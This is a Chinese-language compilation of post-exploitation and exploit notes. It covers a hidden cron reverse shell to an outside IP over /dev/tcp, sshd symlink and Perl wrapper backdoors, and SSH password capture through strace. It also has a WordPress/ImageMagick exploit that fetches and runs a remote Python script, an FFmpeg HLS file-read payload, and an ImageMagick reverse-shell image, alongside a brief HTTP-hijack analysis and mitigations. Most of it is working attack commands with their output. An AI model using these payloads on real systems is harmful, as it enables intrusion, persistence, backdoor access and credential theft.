最好用一个不常见的用户执行,任务写入/var/spool/cron/$username

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/49.213.15.229/2345;exec 0<&9;exec 1>&9 2>&1&&/bin/bash --noprofile -i')|crontab -

升级猥琐版

(crontab -l;printf "* * * * * exec 9<> /dev/tcp/49.213.15.229/2345;exec 0<&9;exec 1>&9 2>&1&&/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

crontab -l 直接提示no crontab for $username
[root@vincenthostname bin]# crontab -l
no crontab for root
反弹成功
[vincent@iZ62luqzx5xZ src]$ ./netcat -l -p 2345
bash: no job control in this shell
[root@vincenthostname ~]# whoami
whoami
root

转自:http://zone.wooyun.org/content/18244

1. 入侵得到SHELL后,对方防火墙没限制,想快速开放一个可以访问的SSH端口。
在kali下测试。必须是root权限。

root@kali-vincent:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
ssh root@172.16.100.128 -p 31337
密码随意输入

检查进程

root@kali-vincent:/tmp# ps axu | grep 31337 | grep -v grep
root 85815 0.0 0.1 55164 2964 ? Ss 12:27 0:00 /tmp/su -oPort=31337

检查端口

root@kali-vincent:/tmp# netstat -antlp | grep 31337
tcp 0 0 0.0.0.0:31337 0.0.0.0:* LISTEN 85815/su 
tcp6 0 0 :::31337 :::* LISTEN 85815/su

可以看出该后门很容易检查出来

2.做一个SSH wrapper后门,效果比第一个好,没有开放额外的端口,只要对方开了SSH服务,就能远程连接。
在肉鸡上执行:

[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo '#!/usr/bin/perl' >sshd
[root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
[root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[root@localhost sbin]# chmod u+x sshd
[root@localhost sbin]# /etc/init.d/sshd restart

在本机执行:

socat STDIO TCP4:10.18.180.20:22,sourceport=13377

[root@vincenthostname socat-1.4]# ./socat STDIO TCP4:172.16.100.128:22,sourceport=13377

whoami
root

这个后门检测起来也简单,/usr/sbin/sshd文件非二进制文件,而是脚本文件,并且文件大小很小。

3. 记录SSH客户端连接密码

[test@CentOS tmp]$ alias ssh='strace -o /tmp/sshpwd.log -e read,write,connect -s2048 ssh'
[test@CentOS tmp]$ grep "read(4" /tmp/sshpwd.log 
read(4, "y", 1) = 1
read(4, "e", 1) = 1
read(4, "s", 1) = 1
read(4, "\n", 1) = 1
read(4, "h", 1) = 1
read(4, "e", 1) = 1
read(4, "h", 1) = 1
read(4, "e", 1) = 1
read(4, "\n", 1) = 1
read(4, "e", 16384) = 1
read(4, "x", 16384) = 1
read(4, "i", 16384) = 1
read(4, "t", 16384) = 1
read(4, "\r", 16384) = 1

要求的最小权限是 Author。
用 Author 权限账号登陆,发表文章,插入 Media。
上传一个正常格式的文件
再上传 exp.png,内容为:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://www.fs1618.com/back.py -O /tmp/x.py && python /tmp/x.py 127.0.0.1 2345")'
pop graphic-context

测试直接反弹bash不成功。
然后插入到文章,编辑正常格式的图片。

123

选择编辑原始文件。随意操作一下,抓包发送到Repeater。

123

然后返回编辑exp.png,同样编辑原始文件。抓包。
获取到POST内容:action=image-editor&_ajax_nonce=e3d210bae8&postid=21&do=open
复制出来_ajax_nonce=e3d210bae8&postid=21替换到Repeater中的内容。发送Repeater。返回504,反弹成功。

123

今日公司反馈视频不能正常播放。
查看发现请求播放器的时候会自动302到另外一个IP上去,一看就是HTTP劫持了。直接上wireshark。

123

发现重定向到了另外一个IP。
来看看正常请求的TTL值,看三次握手,发现TTL为52,也就是服务器到客户的机器有12跳

123

来看看302返回的TTL值是120,也就是中间有8跳。

123

在收到伪造的请求后,收到了正常的服务器返回被丢弃,因为非法的监听服务器距离用户比正常的服务器近一些,导致伪造的数据包先到达,正常的返回包被丢弃。

123

FFmpeg是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。一些视频网站会使用到。

header.m3u8:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://zz-easy.com?

test.avi:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:6
#EXTINF:10.0,
concat:http://zz-easy.com/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

将header.m3u8上传到你的服务器,然后把test.avi上传到攻击服务器
测试通过access log接受文件内容,发现无法接收到。

123

尝试用python监听。
python -m SimpleHTTPServer
header.m3u8:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://zz-easy.com:8000?

test.avi:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:6
#EXTINF:10.0,
concat:http://zz-easy.com:8000/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
结果如下:

123

把文件拷出来,发现多了一个换行。

123

去掉就好了,可以读取到了。

123

漏洞描述:

ImageMagick和GraphicsMagick是广泛流行的图像处理软件。近日,ImageMagick再次被爆出存在远程代码执行漏洞,同时受影响的软件还包括GraphicsMagick。此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意代码。

影响范围:
ImageMagick <= 7.0.1-6
GraphicsMagick <= 1.3.23
测试过程:
上传图片poc.png
push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 ‘|bash -i >& /dev/tcp/49.213.15.229/2345 0>&1’
pop graphic-context
可直接反弹shell

解决方案:
1)修改配置文件
【CentOS6】
修改policy.xml,添加
<policy domain=”path” rights=”none” pattern=”|*”/>
【CentOS5】
在如下文件中:
/usr/lib64/ImageMagick-6.2.8/modules-Q16/coders/ (64bit package)
or
/usr/lib/ImageMagick-6.2.8/modules-Q16/coders/ (32bit package)

$ mv mvg.so mvg.so.bak
$ mv msl.so msl.so.bak
$ mv label.so label.so.bak
$ mv url.so url.so.bak

2)
编译过程中GraphicsMagick禁用HAVE_POPEN宏和ImageMagick禁用MAGICKCORE_HAVE_POPEN宏。
在配置文件中增加如下内容:
在源代码中增加如下项:
GraphicsMagick代码magick/blob.c中增加#undef HAVE_POPEN。
ImageMagick代码MagickCore/blob.c中增加#undef MAGICKCORE_HAVE_POPEN。